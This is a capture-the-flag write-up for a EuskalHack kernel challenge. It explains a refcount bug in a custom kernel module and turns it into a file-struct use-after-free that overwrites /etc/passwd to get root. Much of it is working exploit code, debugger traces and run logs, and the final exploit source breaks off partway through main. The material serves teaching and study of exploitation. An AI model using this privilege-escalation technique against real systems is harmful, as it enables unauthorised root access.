A "Gau-Hack" from EuskalHack

2024-06-30T00:00:00+00:00
This is a kernel exploitation challenge created by @javierprtd</a>.</p>
In this challenge, we are given the source code of a vulnerable LKM (ctf.c</code>), its Makefile and some code in C as a proof of concept on how to interact with the LKM (poc.c</code>).</p>
To be able to debug this LKM, we need a kernel image (I used linux-6.6.34</code>), and a file system (I modified an initramfs</code> image from an older CTF challenge).</p>
This is the bash script used to run the kernel image within QEMU:</p>
#!/bin/bash
</span>
</span>qemu-system-x86_64 </span>\
</span>    -cpu</span> kvm64,+smep,+smap \
</span>    -m</span> 256M \
</span>    -nographic </span>\
</span>    -kernel</span> bzImage-6.6.34 \
</span>    -append </span>'</span>console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr</span>' \
</span>    -monitor</span> /dev/null \
</span>    -initrd</span> initramfs.cpio.gz \
</span>    -s
</span></code></pre>
The init</code> file used within initramfs</code> is the following:</p>
#!/bin/sh
</span>
</span>chown -hR</span> root: /
</span>chown -R</span> user: /home/user
</span>
</span>chmod</span> 0755</span> -R</span> /
</span>chmod</span> 0700</span> -R</span> /root/
</span>chmod</span> 0 /flag
</span>chmod</span> u+s /bin/su
</span>
</span>mount -t</span> proc none /proc
</span>mount -t</span> sysfs none /sys
</span>mount -t</span> devtmpfs none /dev
</span>mkdir -p</span> /dev/pts
</span>mount -vt</span> devpts</span> -o</span> gid=4,mode=620 none /dev/pts
</span>
</span>/sbin/mdev -s
</span>
</span># Disable boot at kernel panic
</span>echo </span>"</span>kernel.panic = 0</span>" > /etc/sysctl.conf
</span>sysctl -p
</span>
</span># ifup eth0 >& /dev/null
</span>
</span>cd</span> /root
</span>cat</span> /etc/banner.txt
</span>
</span>insmod</span> /chall/ctf.ko
</span>
</span>cd</span> /home/user
</span># final mode
</span>setsid</span> cttyhack setuidgid 1000 sh
</span># test mode
</span># setsid cttyhack setuidgid 0 sh
</span>
</span>poweroff -f
</span></code></pre>
And to update the compressed initramfs</code> image, I use the following script:</p>
gcc -o</span> exploit</span> -static </span>$</span>1
</span>gcc -o</span> poc</span> -static</span> poc.c
</span>cp</span> ./exploit ./initramfs/home/user
</span>cp</span> ./poc ./initramfs/home/user
</span>cd</span> initramfs
</span>find</span> .</span> -print0 </span>\
</span>| </span>cpio --null -ov --format</span>=newc \
</span>| </span>gzip -9 </span>> initramfs.cpio.gz
</span>mv</span> ./initramfs.cpio.gz ../
</span></code></pre>
Source Code Analysis</h2>
If we check the provided source code for the vulnerable LKM, we can identify two main functions within ioctl:</p>
static long </span>ctf_ioctl</span>(</span>struct</span> file *</span>file</span>, </span>unsigned int </span>code</span>, </span>unsigned long </span>arg</span>) {
</span>
</span>    </span>switch </span>(code) {
</span>        </span>case</span> IOCTL_CTF_INSTALL_FILE:
</span>            </span>return </span>install_file</span>((</span>int </span>* __user) arg);
</span>
</span>        </span>case</span> IOCTL_CTF_CLOSE_FILE:
</span>            </span>return </span>close_file</span>((</span>int </span>* __user) arg);
</span>
</span>        </span>default</span>:
</span>            </span>return </span>-EINVAL;
</span>    }
</span>
</span>}
</span></code></pre>
install_file</h3>
We can see below the content of the install_file</code> function:</p>
int </span>install_file</span>(</span>int </span>* __user </span>arg</span>) {
</span>
</span>	</span>int</span> ret = </span>0</span>;
</span>	</span>int</span> fd;
</span>	</span>struct</span> files_struct *files;
</span>	</span>struct</span> file *file;
</span>	</span>struct</span> fdtable *fdt;
</span>	
</span>	</span>if </span>(</span>copy_from_user</span>(&fd, arg, sizeof(</span>int</span>))) {
</span>		</span>pr_err</span>("</span>error copy_from_user</span>\n</span>");
</span>		</span>return </span>-EFAULT;
</span>	}
</span> 
</span>	files = current->files;
</span>	
</span>	</span>spin_lock</span>(&files->file_lock);
</span>	
</span>	fdt = </span>files_fdtable</span>(files);
</span>
</span>	</span>if </span>(fd >= fdt->max_fds)
</span>		</span>return </span>-EBADF;
</span>
</span>	file = fdt->fd[fd];
</span>	
</span>	</span>spin_unlock</span>(&files->file_lock);
</span>
</span>	ret = </span>get_unused_fd_flags</span>(</span>0</span>);
</span>	
</span>	</span>if </span>(ret < </span>0</span>) {
</span>		</span>goto</span> error;
</span>	}
</span>	
</span>	</span>get_file</span>(file);
</span>	
</span>	</span>fd_install</span>(ret, file);
</span>	
</span>	</span>return</span> ret;
</span>	
</span>error:
</span>	</span>fput</span>(file);
</span>	</span>return </span>-EBADF;
</span>}
</span></code></pre>
Overall, we can say this function is pretty similar to a dup</code> syscall.</p>
If we look closely, we can see that this function initially receives a file descriptor from the user-space, then it gets the current process files_struct</em> structure and later it locks the files_struct</em> struct.</p>
Inside the lock, it retrieves the file descriptor table of the process, checks if the given file descriptor is valid and retrieves the file</em> struct that corresponds to the given file descriptor. The files_struct</em> lock is released after this part.</p>
After the lock release, a new file descriptor is allocated with get_unused_fd_flags(0)</code>, the file->f_count->counter</code> (from now on, f_count</code>)  is incremented by one and finally, the file descriptor is associated with the file</em> struct in the file descriptor table of the running process.</p>
The error management just decrements f_count</code> by one with fput(file)</code> and returns EBADF</code>. This part is pretty interesting as we will see later on.</p>
close_file</h3>
We can see the below the content of the close_file</code> function:</p>
int </span>close_file</span>(</span>int </span>* __user </span>arg</span>) {
</span>
</span>	</span>int</span> fd;
</span>	</span>struct</span> files_struct *files;
</span>	</span>struct</span> file *file;
</span>	</span>struct</span> fdtable *fdt;
</span>
</span>	</span>if </span>(</span>copy_from_user</span>(&fd, arg, sizeof(</span>int</span>))) {
</span>		</span>pr_err</span>("</span>error copy_from_user</span>\n</span>");
</span>		</span>return </span>-EFAULT;
</span>	}
</span>
</span>	files = current->files;
</span>
</span>	</span>spin_lock</span>(&files->file_lock);
</span>	
</span>	fdt = </span>files_fdtable</span>(files);
</span>
</span>	</span>if </span>(fd >= fdt->max_fds)
</span>		</span>return </span>-EBADF;
</span>
</span>	file = fdt->fd[fd];
</span>	
</span>	</span>spin_unlock</span>(&files->file_lock);
</span>	
</span>	</span>if </span>(file) {
</span>		</span>rcu_assign_pointer</span>(fdt->fd[fd], </span>NULL</span>);
</span>		
</span>		</span>__clear_bit</span>(fd, fdt->open_fds);
</span>		</span>__clear_bit</span>(fd / BITS_PER_LONG, fdt->full_fds_bits);
</span>		
</span>		</span>if </span>(fd < files->next_fd)
</span>			files->next_fd = fd;
</span>	}
</span>	
</span>	</span>return </span>filp_close</span>(file, files);
</span>}
</span></code></pre>
This function is very similar to close</code> syscall.</p>
Until the files_struct</em> lock release, this function behaves the same way as install_file</code> does.</p>
After the lock release, the given file descriptor is set to NULL</code> and its corresponding bits are cleared in the bitmap. Later checks if it is necessary to update next_fd</code> from files_struct</em>.</p>
Finally, the file struct f_count</code> is decremented with filp_close(file, files)</code>.</p>
Exploit Strategy</h2>
By the time I started this challenge I had very little idea on how this could be exploited and I did some research where I could find this could technically be exploited through race conditions between the file description is assigned to the file struct and the new file descriptor is returned to the user. This can be checked here</a>.</p>
However, the intended solve is easier. If we check the error management of the get_unused_fd_flags(0)</code> function within install_file</code>, we can see there is something off.</p>
The important fragment of code is the following:</p>
	ret = </span>get_unused_fd_flags</span>(</span>0</span>);
</span>	
</span>	</span>if </span>(ret < </span>0</span>) {
</span>		</span>goto</span> error;
</span>	}
</span>	
</span>	</span>get_file</span>(file);
</span>
</span>	...
</span>error:
</span>	</span>fput</span>(file);
</span>	</span>return </span>-EBADF;
</span></code></pre>
If we can force get_unused_fd_flags(0)</code> to fail, the file</em> struct f_count</code> will be decremented. This is a problem because at this moment, the f_count</code> still has not been modified as it is incremented in get_file(file)</code> function. This would allow us to decrement a file's f_count</code> at our will, which by the time it reaches 0</code>, the file</em> struct will be released/freed. This means that we could have the ability to free any file</em> struct we control with a file descriptor.</p>
But how can we force get_unused_fd_flags(0)</code> to fail? There's a command called prlimit</code> that modifies the resource limits of a given process. In C</code>, we can use prlimit</code> or setprlimit</code> to modify the max number of open files (RLIMIT_NOFILE</code>) a process can have. If we reach this limit, get_unused_fd_flags(0)</code> will always return an error.</p>
Ok, so by this moment, we have found a way to free file</em> structs. Now we need to leverage this to a UAF.
To achieve this goal, we can check on how mmap()</code> works.</p>
When mmap()</code> asks for memory, the requested pages are not instantly mapped into memory. Instead, by the time you access the mapped region, it produces a page fault</code> that, when handled, loads the requested pages.</p>
As a useful example, let's check what happens in the kernel. We can map a temporary file into memory. Here, a file</em> struct is assigned to the mapped region. Later, call_mmap()</code> is called, which is a wrapper for file->f_op->mmap()</code>.</p>
// mmap.c
</span>// https://elixir.bootlin.com/linux/v6.6.34/source/mm/mmap.c#L2781
</span>unsigned long </span>mmap_region</span>(</span>struct</span> file *</span>file</span>, </span>unsigned long </span>addr</span>,
</span>		</span>unsigned long </span>len</span>, vm_flags_t </span>vm_flags</span>, </span>unsigned long </span>pgoff</span>,
</span>		</span>struct</span> list_head *</span>uf</span>)
</span>{
</span>	...
</span>		vma->vm_file = </span>get_file</span>(file);
</span>		error = </span>call_mmap</span>(file, vma);
</span>	...
</span>
</span>// fs.h
</span>// https://elixir.bootlin.com/linux/v6.6.34/source/include/linux/fs.h#L2020
</span>static inline int </span>call_mmap</span>(</span>struct</span> file *file, </span>struct</span> vm_area_struct *vma)
</span>{
</span>	</span>return</span> file->f_op-></span>mmap</span>(file, vma);
</span>}
</span></code></pre>
The previously mentioned file->f_op->mmap()</code> points to the specific mmap()</code> implementation for the file system that the file resides on. In our case, it is pointing to ext4_file_mmap()</code>.
Here, we can check how the ext4</code> related operations are assigned:</p>
// https://elixir.bootlin.com/linux/v6.6.34/source/fs/ext4/file.c#L776
</span>static const struct</span> vm_operations_struct ext4_file_vm_ops = {
</span>	.</span>fault		</span>= filemap_fault,
</span>	.</span>map_pages	</span>= filemap_map_pages,
</span>	.</span>page_mkwrite   </span>= ext4_page_mkwrite,
</span>}
</span>
</span>...
</span>
</span>// https://elixir.bootlin.com/linux/v6.6.34/source/fs/ext4/file.c#L802
</span>static int </span>ext4_file_mmap</span>(</span>struct</span> file *</span>file</span>, </span>struct</span> vm_area_struct *</span>vma</span>)
</span>{
</span>	...
</span>	vma->vm_ops = &ext4_file_vm_ops;
</span>	...
</span>
</span></code></pre>
At this point, the mmap()</code> of the temporary file has finished. However, the mapped region still has not been accessed, so the pages of the file are not mapped into memory yet.
The first time we try to access the mapped region, a page fault</code> will be triggered so vma->vm_ops->fault()</code> will be called:</p>
// https://elixir.bootlin.com/linux/v6.6.34/source/mm/memory.c#L4227
</span>static</span> vm_fault_t </span>__do_fault</span>(</span>struct</span> vm_fault *</span>vmf</span>)
</span>{
</span>	...
</span>	ret = vma->vm_ops-></span>fault</span>(vmf);
</span></code></pre>
As it has been explained before, vma->vm_ops->fault()</code> now points to filemap_fault()</code> and here we can see how the actual file is finally accessed, so the file pages can finally be mapped into memory:</p>
// https://elixir.bootlin.com/linux/v6.6.34/source/mm/filemap.c#L3264
</span>vm_fault_t </span>filemap_fault</span>(</span>struct</span> vm_fault *</span>vmf</span>)
</span>{	
</span>	</span>int</span> error;
</span>	</span>struct</span> file *file = vmf->vma->vm_file;
</span>	</span>struct</span> file *fpin = </span>NULL</span>;
</span>	</span>struct</span> address_space *mapping = file->f_mapping;
</span>	</span>struct</span> inode *inode = mapping->host;
</span>	...
</span></code></pre>
If we manage to free a file</em> struct after it has been assigned a mapped region, but before this region has been accessed, and then we are capable of filling the freed space with another file</em> struct pointing to another file, we will be able to map the pages of the second file with the permissions of the mapped region, giving us our wanted UAF :)</p>
Now that we have identified the UAF primitive, we can design a proper strategy to exploit it. To do so, we will go through the following steps:</p>

Create a temporary file</strong>: create a file with O_RDWR</code> permissions.</li>
Map the temporary file</strong>: map the file into memory with PROT_READ</code> and PROT_WRITE</code> protections and the MAP_SHARED</code> flag. This way we will be able to write into the desired file after leveraging the UAF primitive.</li>
Drop f_count</code> to 0</code></strong>: drop the file's f_count</code> to 0</code> using the previously explained method so the file's file</em> struct is released/freed.</li>
/etc/passwd</code> spraying</strong>: spray file</em> structs pointing to critical files like /etc/passwd</code>. If we manage to allocate one of these file</em> structs where the previous file</em> struct was freed, we can leverage the UAF into an arbitrary read/write.</li>
Overwrite /etc/passwd</code></strong>: As the pages of the mapped region are allowed to be written, we can write into the mapped /etc/passwd</code> and the changes will be carried through to the underlying file due to the MAP_SHARED</code> flag.</li>
Avoid kernel memory problems</strong>: Find a way to avoid problems with the messed kernel memory.</li>
Have fun :)</strong></li>
</ol>
Exploit Development</h2>
To develop a cleaner exploit, we can use the following helper functions:</p>
// ioctl IOCTL_CTF_INSTALL_FILE wrapper.
</span>int </span>install_file</span>(</span>int </span>device_fd</span>, </span>int </span>*</span>fd</span>) {
</span>	
</span>	</span>int</span> installed_fd = </span>ioctl</span>(device_fd, IOCTL_CTF_INSTALL_FILE, fd);
</span>	</span>if </span>(installed_fd < </span>0</span>) {
</span>		</span>warn</span>("</span>[!] IOCTL_CTF_INSTALL_FILE failed</span>");
</span>	}
</span>
</span>	</span>return</span> installed_fd;
</span>}
</span>
</span>// ioctl IOCTL_CTF_CLOSE_FILE wrapper.
</span>void </span>close_file</span>(</span>int </span>device_fd</span>, </span>int </span>*</span>fd</span>) {
</span>	
</span>	</span>int</span> res = </span>ioctl</span>(device_fd, IOCTL_CTF_CLOSE_FILE, fd);
</span>	</span>if </span>(res < </span>0</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] IOCTL_CTF_INSTALL_FILE failed</span>");
</span>	}
</span>	
</span>	</span>return</span>;
</span>}
</span>
</span>// Limits the available amount of open files handable by the current process.
</span>void </span>set_fd_limit</span>(</span>int </span>cur</span>, </span>int </span>max</span>) {
</span>
</span>	</span>struct</span> rlimit new, old;
</span>	new.</span>rlim_cur </span>= cur;
</span>	new.</span>rlim_max </span>= max;
</span>
</span>	</span>int</span> res = </span>prlimit</span>(</span>getpid</span>(), RLIMIT_NOFILE, &new, &old);
</span>	</span>if </span>(res < </span>0</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] prlimit failed</span>\n</span>");
</span>	}
</span>	
</span>	</span>printf</span>("</span>[+] RLIMIT_NOFILE set to:</span>\n</span>[+]</span>\t</span>rlim_cur = </span>%d</span>\n</span>[+]</span>\t</span>rlim_max = </span>%d</span>\n</span>", cur, max);
</span>
</span>	</span>return</span>;
</span>}
</span></code></pre>
Create a temporary file</h3>
Once we have created these helper functions, we can start with the actual exploit.
Firstly, we need to open the LKM and a temporary file that will be the one used to trigger the UAF. This can be achieved the following way:</p>
	</span>// Opening LKM.
</span>	</span>puts</span>("</span>[+] Opening LKM</span>");
</span>	device_fd = </span>open</span>(DEVICE_FILE, O_RDONLY);
</span>	</span>if </span>(device_fd < </span>0</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] Failed to open device file</span>");
</span>	}
</span>
</span>	</span>// Opening tmp file.
</span>	</span>puts</span>("</span>[+] Opening tmp file</span>");
</span>	fd0 = </span>open</span>(TMP_FILE, O_CREAT | O_RDWR, </span>0666</span>);
</span>	</span>if </span>(fd0 < </span>0</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] Failed to open </span>%s</span>", TMP_FILE);
</span>	}
</span></code></pre>
Map the temporary file</h3>
The next step is to map the previously opened temporary file into memory. This way we can get access to the file with a single pointer instead of going through a file descriptor. This mapping must allow read and write access and must have the MAP_SHARED</code> flag set. This way any change in the mapped file will be carried through to the underlying file.</p>
We must take into account that if we want to access an empty mapped file, we will receive a bus error</code> as we will be accessing beyond the file's end. To avoid this later on, we can write a placeholder to the file.</p>
	</span>// Allocating some bytes into tmp file to prevent bus error.
</span>	</span>// fallocate or ftruncate are other viable options.
</span>	</span>puts</span>("</span>[+] Allocating some bytes into tmp file to prevent bus error</span>");
</span>	</span>write</span>(fd0, placeholder, </span>strlen</span>(placeholder));
</span>
</span>	</span>// Mapping tmp file into memory.
</span>	</span>// Size 1 allocates minimum size which is an entire page.
</span>	</span>puts</span>("</span>[+] Mapping tmp file into memory</span>");
</span>	ptr = </span>mmap</span>(</span>NULL</span>, </span>1</span>, PROT_READ | PROT_WRITE, MAP_SHARED, fd0, </span>0</span>);
</span>	</span>if </span>(ptr == MAP_FAILED) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] Failed to map </span>%s</span> into memory</span>", TMP_FILE);
</span>	}
</span></code></pre>
Drop f_count</code> to 0</code></h3>
Now the f_count</code> related to our temporary file should have a value of 2</code> as the mapping has increased the previous value by one.</p>
Our next goal is to force get_unused_fd_flags(0)</code> to fail. As we explained before, this can be achieved by limiting the max amount of open files a process can have. We will use the previously defined wrapper for the prlimit</code> function.</p>
	</span>// Limiting the max amount of file descriptors.
</span>	</span>puts</span>("</span>[+] Limiting max amount of file descriptors</span>");
</span>	</span>set_fd_limit</span>(</span>0</span>, </span>4096</span>);	
</span></code></pre>
Here we are setting the soft limit at 0</code> and the hard limit at 4096</code>. This way any attempt to open a new file descriptor will fail.</p>
As we said before, the actual value of f_count</code> is 2</code> so this means we need to call install_file</code> two consecutive times to drop this value to 0</code>. This will release the file</em> struct and the memory region will be freed.</p>
	</span>// Forcing file struct release through file->f_count->counter decrement. 
</span>	</span>puts</span>("</span>[+] Forcing file struct release. Expecting EBADF:</span>");
</span>	fd1 = </span>install_file</span>(device_fd, &fd0);
</span>	fd1 = </span>install_file</span>(device_fd, &fd0);
</span></code></pre>
At this point, we can check what happens with the f_count</code>. To be able to put a breakpoint at the install_file</code> function of the LKM, we will need to load the LKM symbols into gdb.</p>
To load the LKM symbols, we need to find the address of the .text</code> section of the LKM inside the emulator:</p>
/home/user # cat /sys/module/ctf/sections/.text
</span>0xffffffffc0203000
</span></code></pre>
Later, to load the symbols, we can do the following in gdb:</p>
pwndbg> target remote :1234
</span>...
</span>pwndbg> add-symbol-file initramfs/chall/ctf.ko 0xffffffffc0203000
</span>add symbol table from file "initramfs/chall/ctf.ko" at
</span>	.text_addr = 0xffffffffc0203000
</span>Reading symbols from initramfs/chall/ctf.ko...
</span>pwndbg> b install_file
</span>Breakpoint 1 at 0xffffffffc0203070: file /home/bepernapat/CTF/EuskalHack/initramfs/chall/ctf.c, line 14.
</span></code></pre>
The first time we reach the breakpoint, if we execute the instructions one by one, we can see how get_unused_fd_flags(0)</code> fails and we jump to the error management part. Here we can check how the f_count</code> is decremented:</p>
─────[ SOURCE (CODE) ]───── 
</span>   52 error:
</span> ► 53         fput(file);
</span>   54         return -EBADF;
</span>   55 }
</span>───────────────────────────
</span>pwndbg> p file->f_count
</span>$1 = {
</span>  counter = 2
</span>}
</span>pwndbg> n
</span>
</span>─────[ SOURCE (CODE) ]───── 
</span>   52 error:
</span>   53         fput(file);
</span> ► 54         return -EBADF;
</span>   55 }
</span>───────────────────────────
</span>pwndbg> p file->f_count
</span>$2 = {
</span>  counter = 1
</span>}
</span></code></pre>
The following time we hit the breakpoint, we can see how the f_count</code> drops to 0</code> and the file</em> struct is released/freed:</p>
─────[ SOURCE (CODE) ]───── 
</span>   52 error:
</span> ► 53         fput(file);
</span>   54         return -EBADF;
</span>   55 }
</span>───────────────────────────
</span>pwndbg> p file->f_count
</span>$3 = {
</span>  counter = 1
</span>}
</span>pwndbg> n
</span>
</span>─────[ SOURCE (CODE) ]───── 
</span>   52 error:
</span>   53         fput(file);
</span> ► 54         return -EBADF;
</span>   55 }
</span>───────────────────────────
</span>pwndbg> p file->f_count
</span>$4 = {
</span>  counter = 0
</span>}
</span></code></pre>
/etc/passwd</code> spraying</h3>
Now that the file</em> struct has been released, we need to fill this freed space with a file</em> struct pointing to a critical file. In this case, we spray with file</em> structs pointing to /etc/passwd</code>.</p>
	</span>// Spray to fill the previously freed file struct with a /etc/passwd file struct. 
</span>	</span>puts</span>("</span>[+] Spraying file structs pointing to /etc/passwd</span>");
</span>	</span>for</span>(</span>int</span> i = </span>0</span>; i < </span>512</span>; i++) {
</span>		fd_spray[i] = </span>open</span>("</span>/etc/passwd</span>", O_RDONLY);
</span>       		</span>if </span>(fd_spray[i] < </span>0</span>) {
</span>                	</span>err</span>(</span>0</span>, "</span>[-] Failed to spray /etc/passwd</span>");
</span>        	}
</span>	}
</span></code></pre>
By the time a file</em> struct fills the previously freed space, we will be able to read and write /etc/passwd</code> as these are the permissions we set when we first mapped the temporary file into memory.</p>
To check if the spraying has successfully finished, we can print the memory region we mapped at the beginning of the exploit. If the printed output is the content of /etc/passwd</code>, the spraying has successfully finished. Otherwise, we'll see the content of the placeholder we set at the beginning.</p>
	</span>// Checking for successful UAF.
</span>	</span>puts</span>("</span>[+] Checking for successful UAF. Content should be from /etc/passwd:</span>");
</span>	</span>fputs</span>(ptr, stdout);
</span></code></pre>
Overwrite /etc/passwd</code></h3>
After the last check is completed, we can overwrite the first line of /etc/passwd</code> with our custom value:</p>
	</span>// Overwriting /etc/passwd root entry.
</span>	</span>puts</span>("</span>[+] Overwriting /etc/passwd root entry. Content should have been modified:</span>");
</span>	</span>memcpy</span>(ptr, privesc, </span>strlen</span>(privesc));
</span>	</span>fputs</span>(ptr, stdout);
</span></code></pre>
Avoid kernel memory problems</h3>
At this moment, we have successfully completed the UAF exploitation by writing to an arbitrary file. However, during this process, we have messed up with the kernel memory, and this leads to kernel panic after running su root</code> and some other commands.</p>
By the time a process ends, it decrements the f_count</code> of all the file descriptors in its file descriptor table. As there are two file descriptors pointing to the same file struct, it could be creating a double free which ends in kernel panic. However, after fixing this, it keeps breaking for some other reason.</p>
After some time, we can find a good solution. It is not the cleanest way of solving the problem, but it definitely works. We can fork at the beginning of the exploit, wait until the corruption process ends, and finally run the su root</code> command from the clean process so we don't have to mess with bad kernel memory:</p>
	</span>puts</span>("</span>[+] Fork & wait for success</span>");
</span>	pid = </span>fork</span>();
</span>	</span>if</span>(pid == -</span>1</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] Failed to fork for a new process</span>");
</span>	}
</span>	</span>else if</span>(pid == </span>0</span>) {
</span>		
</span>		</span>// Waiting for corruption completion.
</span>		</span>sleep</span>(</span>3</span>);
</span>	
</span>	 	</span>// Changing user to root.
</span>		</span>char </span>*argvx[</span>3</span>] = { "</span>/bin/su</span>", "</span>root</span>", </span>NULL </span>};
</span>		</span>execve</span>("</span>/bin/su</span>", &argvx, </span>NULL</span>);
</span>		
</span>		</span>// Should never be reached.
</span>		</span>return </span>1</span>;
</span>	}
</span>	...
</span>
</span>		</span>// Entering eternal loop.	
</span>	</span>puts</span>("</span>[+] Corruption process has been completed. Waiting for a root shell...</span>");
</span>	</span>while</span>(</span>1</span>) {
</span>		</span>sleep</span>(</span>10</span>);
</span>	}
</span></code></pre>
Have fun :)</h3>
Time to have fun! Now we can elevate our privileges to root and do whatever we want:</p>
/home/user $ id
</span>uid=1000(user) gid=1000(user) groups=1000(user)
</span>/home/user $ ./exploit
</span>[+] Fork & wait for success
</span>[+] Opening LKM
</span>[+] Opening tmp file
</span>[+] Allocating some bytes into tmp file to prevent bus error
</span>[+] Mapping tmp file into memory
</span>[+] Limiting max amount of file descriptors
</span>[+] RLIMIT_NOFILE set to:
</span>[+]     rlim_cur = 0
</span>[+]     rlim_max = 4096
</span>[+] Forcing file struct release. Expecting EBADF:
</span>exploit: [!] IOCTL_CTF_INSTALL_FILE failed: Bad file descriptor
</span>exploit: [!] IOCTL_CTF_INSTALL_FILE failed: Bad file descriptor
</span>[+] Extending max amount of file descriptors
</span>[+] RLIMIT_NOFILE set to:
</span>[+]     rlim_cur = 4096
</span>[+]     rlim_max = 4096
</span>[+] Spraying file structs pointing to /etc/passwd
</span>[+] Checking for successful UAF. Content should be from /etc/passwd:
</span>root:x:0:0:root:/root:/bin/sh
</span>user:x:1000:1000:user:/home/user:/bin/sh
</span>[+] Overwriting /etc/passwd root entry. Content should have been modified:
</span>root::0:0:root:/root:/bin/ash
</span>user:x:1000:1000:user:/home/user:/bin/sh
</span>[+] Corruption process has been completed. Waiting for a root shell...
</span>/home/user # id
</span>uid=0(root) gid=0(root) groups=0(root)
</span>/home/user # ls -l /flag
</span>----------    1 root     root            27 Jun 22 11:03 /flag
</span>/home/user # cat /flag
</span>CTF{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
</span></code></pre>
Final Exploit</h2>
/* Tested on Linux 6.6.34
</span>
</span>/home/user $ id
</span>uid=1000(user) gid=1000(user) groups=1000(user)
</span>/home/user $ ./exploit
</span>[+] Fork & wait for success
</span>[+] Opening LKM
</span>[+] Opening tmp file
</span>[+] Allocating some bytes into tmp file to prevent bus error
</span>[+] Mapping tmp file into memory
</span>[+] Limiting max amount of file descriptors
</span>[+] RLIMIT_NOFILE set to:
</span>[+]	rlim_cur = 0
</span>[+]	rlim_max = 4096
</span>[+] Forcing file struct release. Expecting EBADF:
</span>exploit: [!] IOCTL_CTF_INSTALL_FILE failed: Bad file descriptor
</span>exploit: [!] IOCTL_CTF_INSTALL_FILE failed: Bad file descriptor
</span>[+] Extending max amount of file descriptors
</span>[+] RLIMIT_NOFILE set to:
</span>[+]	rlim_cur = 4096
</span>[+]	rlim_max = 4096
</span>[+] Spraying file structs pointing to /etc/passwd
</span>[+] Checking for successful UAF. Content should be from /etc/passwd:
</span>root:x:0:0:root:/root:/bin/sh
</span>user:x:1000:1000:user:/home/user:/bin/sh
</span>[+] Overwriting /etc/passwd root entry. Content should have been modified:
</span>root::0:0:root:/root:/bin/ash
</span>user:x:1000:1000:user:/home/user:/bin/sh
</span>[+] Corruption process has been completed. Waiting for a root shell...
</span>/home/user # id
</span>uid=0(root) gid=0(root) groups=0(root)
</span>/home/user #
</span>
</span>*/
</span>
</span>#define </span>_GNU_SOURCE
</span>#include </span><</span>stdio.h</span>>
</span>#include </span><</span>stdint.h</span>>
</span>#include </span><</span>stdlib.h</span>>
</span>#include </span><</span>fcntl.h</span>>
</span>#include </span><</span>unistd.h</span>>
</span>#include </span><</span>errno.h</span>>
</span>#include </span><</span>err.h</span>>
</span>#include </span><</span>sys/ioctl.h</span>>
</span>#include </span><</span>string.h</span>>
</span>#include </span><</span>pthread.h</span>>
</span>#include </span><</span>sys/time.h</span>>
</span>#include </span><</span>sys/resource.h</span>>
</span>#include </span><</span>sys/types.h</span>>
</span>#include </span><</span>sys/mman.h</span>>
</span>#include </span><</span>string.h</span>>
</span>
</span>
</span>#define </span>IOCTL_CTF_INSTALL_FILE	</span>_IOWR</span>('</span>s</span>', </span>0x41</span>, </span>int</span>)
</span>#define </span>IOCTL_CTF_CLOSE_FILE	</span>_IOWR</span>('</span>s</span>', </span>0x42</span>, </span>int</span>)
</span>#define </span>DEVICE_FILE "</span>/dev/ctf</span>"
</span>#define </span>TMP_FILE "</span>/home/user/tmp</span>"
</span>
</span>// ioctl IOCTL_CTF_INSTALL_FILE wrapper.
</span>int </span>install_file</span>(</span>int </span>device_fd</span>, </span>int </span>*</span>fd</span>) {
</span>	
</span>	</span>int</span> installed_fd = </span>ioctl</span>(device_fd, IOCTL_CTF_INSTALL_FILE, fd);
</span>	</span>if </span>(installed_fd < </span>0</span>) {
</span>		</span>warn</span>("</span>[!] IOCTL_CTF_INSTALL_FILE failed</span>");
</span>	}
</span>
</span>	</span>return</span> installed_fd;
</span>}
</span>
</span>// ioctl IOCTL_CTF_CLOSE_FILE wrapper.
</span>void </span>close_file</span>(</span>int </span>device_fd</span>, </span>int </span>*</span>fd</span>) {
</span>	
</span>	</span>int</span> res = </span>ioctl</span>(device_fd, IOCTL_CTF_CLOSE_FILE, fd);
</span>	</span>if </span>(res < </span>0</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] IOCTL_CTF_INSTALL_FILE failed</span>");
</span>	}
</span>	
</span>	</span>return</span>;
</span>}
</span>
</span>// Limits the available amount of open files handable by the current process.
</span>void </span>set_fd_limit</span>(</span>int </span>cur</span>, </span>int </span>max</span>) {
</span>
</span>	</span>struct</span> rlimit new, old;
</span>	new.</span>rlim_cur </span>= cur;
</span>	new.</span>rlim_max </span>= max;
</span>
</span>	</span>int</span> res = </span>prlimit</span>(</span>getpid</span>(), RLIMIT_NOFILE, &new, &old);
</span>	</span>if </span>(res < </span>0</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] prlimit failed</span>\n</span>");
</span>	}
</span>	
</span>	</span>printf</span>("</span>[+] RLIMIT_NOFILE set to:</span>\n</span>[+]</span>\t</span>rlim_cur = </span>%d</span>\n</span>[+]</span>\t</span>rlim_max = </span>%d</span>\n</span>", cur, max);
</span>
</span>	</span>return</span>;
</span>}
</span>
</span>int </span>main</span>(</span>int </span>argc</span>, </span>char </span>*</span>argv</span>[]) {
</span>	
</span>	</span>const char </span>*placeholder = "</span>Looks like it does not work properly D:</span>\n</span>";
</span>	</span>const char </span>*privesc = "</span>root::0:0:root:/root:/bin/ash</span>";
</span>	</span>int</span> pid = -</span>1</span>;
</span>	</span>int</span> fd0, fd1, device_fd;
</span>	</span>int</span> fd_spray[</span>512</span>];
</span>	</span>void </span>*ptr;
</span>
</span>	</span>puts</span>("</span>[+] Fork & wait for success</span>");
</span>	pid = </span>fork</span>();
</span>	</span>if</span>(pid == -</span>1</span>) {
</span>		</span>err</span>(</span>0</span>, "</span>[-] Failed to fork for a new process</span>");
</span>	}
</span>	</span>else if</span>(pid == </span>0</span>) {
</span>		
</span>		</span>// Waiting for corruption completion.
</span>		</span>sleep</span>(</span>3</span>);
</span>	
</span>	 	</span>// Changing user to root.
</span>		</span>char </span>*argvx[</span>3</span>] = { "</span>/bin/su</span>", "</span>root</span>", </span>NULL </span>};
</span>		</span>execve</span>("</span>/bin/su</span>", &argvx, </span>NULL</span>);
</span>		
</span>		</span>// Should never be reached.
</span>		</span>return </span>1</span>;
</span>	}
</span>
</span>	</span>// Opening LKM.
</span>	</span>puts</span>("</span>[+] Opening LKM</span>");
</span>	device_fd = </span>open</span>(DEVICE_FILE, O_RDONLY);
